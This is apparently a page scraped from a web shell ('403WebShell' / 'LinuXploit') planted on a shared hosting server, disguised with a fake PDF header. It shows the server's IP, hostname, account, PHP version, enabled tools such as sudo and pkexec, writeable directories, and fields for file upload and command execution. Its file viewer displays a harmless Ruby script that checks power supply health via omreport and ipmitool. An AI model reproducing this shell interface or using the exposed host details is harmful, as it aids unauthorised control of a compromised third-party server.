%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 3.139.236.175
Web Server : Apache
System : Linux web231.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/opt/icinga2-hardware-checks/checks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/opt/icinga2-hardware-checks/checks/enterprise_check_hardware_psu.rb
#!/usr/bin/env ruby

require 'rubygems' if RUBY_VERSION < '1.9.0'
require 'sensu-plugin/check/cli'
require_relative 'CheckHelper'
require_relative 'Plugincommands'
require 'socket'

# Check power supply health
class PSUCheck < Sensu::Plugin::Check::CLI
  def run
    # ignore if virtual
    if CheckHelper.is_virtual
      ok
    end
    vendor = CheckHelper.get_manufacturer

    if vendor == ''
      warning = 'Vendor couldnt be determined'
      ok warning
    end

    if vendor.include?('dell')
      # afaik, the omreport is only for dell
      run_status = perform_omreport_check
    else
      run_status = perform_default_check
    end

    case run_status['exit_code']
    when 0
      ok
    when 1
      warning run_status['msg']
    when 2
      critical run_status['msg']
    else
      unknown
    end
  end

  def perform_omreport_check
    # Performs a psu test with omreport tool. This is mainly for dell servers
    omreport = Plugincommands.send('which', 'omreport')
    begin
      unless CheckHelper.validate_omreport
        description = "loaderror, omreport is not found or functioning incorrectly, please run /opt/icinga2-hardware-checks/checks/dell/deps.sh to install dependencies or set custom path to omreport in /etc/icinga2/.ompath"
        out = {'exit_code' => 1, 'msg' => description}
        return out
      end
      out = `#{omreport} chassis pwrsupplies | grep -i '^status'`
      cmdout = out.split(/\r?\n/)

      # Output:
      # Status                   : Ok

      for line in cmdout
        status = line.split(':')[1].strip.downcase
        unless ['ok','okay'].any? { |word| status.include?(word) }
          description = "PS checks failed with status: #{status}"
          out = {'exit_code' => 2, 'msg' => description}
          return out
        end
      end
    rescue => exception
      description = exception.backtrace
      out = {'exit_code' => 2, 'msg' => description}
      return out
    end
    # even if the tool didnt return much output to go on, we want to output a ok since it's
    # a good idea to error out when there is actually an error
    out = {'exit_code' => 0, 'msg' => 'OK'}
    return out
  end

  def perform_default_check
    # every server other than dell would run this check
    # ipmi is a good default to fall back on since it is installed on most servers
    ipmitool = Plugincommands.send('which', 'ipmitool')
    cmd = "sudo #{ipmitool} sdr list | grep -i ps | grep -i status | grep -vi fan"
    overall_psu_status = true
    failed_psus = ''

    IO.popen(cmd).each do |line|
      psu_details = line.chomp.split('|')
      if psu_details[1].include? '0x0b'
        failed_psus += "\n" + psu_details[0].strip().gsub('Status', '')
        overall_psu_status = false
      end
      psu_status = psu_details[2].strip().downcase()
      unless ["ok", "ns", "na"].include?(psu_status.strip.downcase)
        # get the ps IDs
        failed_psus += "\n" + psu_details[0].strip.gsub('Status', '')
        overall_psu_status = false
      end
    end

    if overall_psu_status == true
      out = {'exit_code' => 0, 'msg' => 'OK'}
      return out
    else
      description = "PSU checks failed for %s" % [failed_psus]
      out = {'exit_code' => 2, 'msg' => description}
      return out
    end
   end
end

Youez - 2016 - github.com/yon3zu
LinuXploit